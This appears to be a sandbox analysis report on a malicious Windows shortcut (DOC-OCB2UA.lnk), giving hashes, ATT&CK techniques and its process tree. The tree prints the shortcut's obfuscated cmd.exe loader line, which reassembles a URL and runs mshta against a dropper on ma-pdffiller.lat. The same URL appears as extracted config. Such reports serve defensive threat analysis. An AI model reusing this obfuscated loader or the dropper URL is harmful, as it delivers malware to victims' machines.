d9218305f8004d8fd2b934c575969f050db111d942fd24f9c9cb9821df6becb3

Analysis

max time kernel
150s
max time network
150s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
04/08/2026, 08:21

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General

Target
DOC-OCB2UA.lnk
Size 2KB
Sample260804-j9f2jsvelb
SHA256 d9218305f8004d8fd2b934c575969f050db111d942fd24f9c9cb9821df6becb3
MD5 7a45c3aafd9f88d5df3b825764153fa0
SHA1 e223026c44cf01e06ca94e52ca6a206780dc63c3
SHA512 524a7e69d9bd4d7c1161420f02f3ec5a4b64ac48d772bdb9258aecd3a6129bfea3ec90e29249e1a293481aeea16140d8981ef9f52fec1880f230598b0e7b9f8d
TLSH
T13841F69036ED45D9F2BB4E72EDFE274089BBF9A25E70C6CD0840824C4462B05D977B67
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3008	cmd.exe
4128	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 3008 wrote to memory of 4128	3008	cmd.exe	90
PID 4128 wrote to memory of 3428	4128	cmd.exe	91

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-OCB2UA.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3008
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /D /v:on /c "set Xo=infocusnvsxbulinf&set KWbIa=cfgdjqucfg&set geGUI=0m4&&set JsSJj=0sqpl&&set ecK=hhtae&set MZv=netibzblcdtslugmmmnet&set jLR=dbgalcyssnjmdlkbwhdbg&set kXcss=logveuwlravedhclog&set KUxr=3st4&&set wa=glkar5&&set Hf=hlqte&set frS=logpkvtwjmryjcolog&set Zv=bakyfulmsecmfllgbak&set dpK=winahmgeevycapmwin&&set iC=h@t@t@p@s://m@a@-pdff@i@l@l@er.@lat/@h@/@est@agi@o1.@p@h@p@?r=3@91469@F@B@5D82DB&&start /b !geGUI:~1,1!!JsSJj:~1,1!!ecK:~1,3! !iC:@=!"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4128
- - C:\Windows\System32\mshta.exe
    mshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
    3⤵
    PID:3428

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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Downloads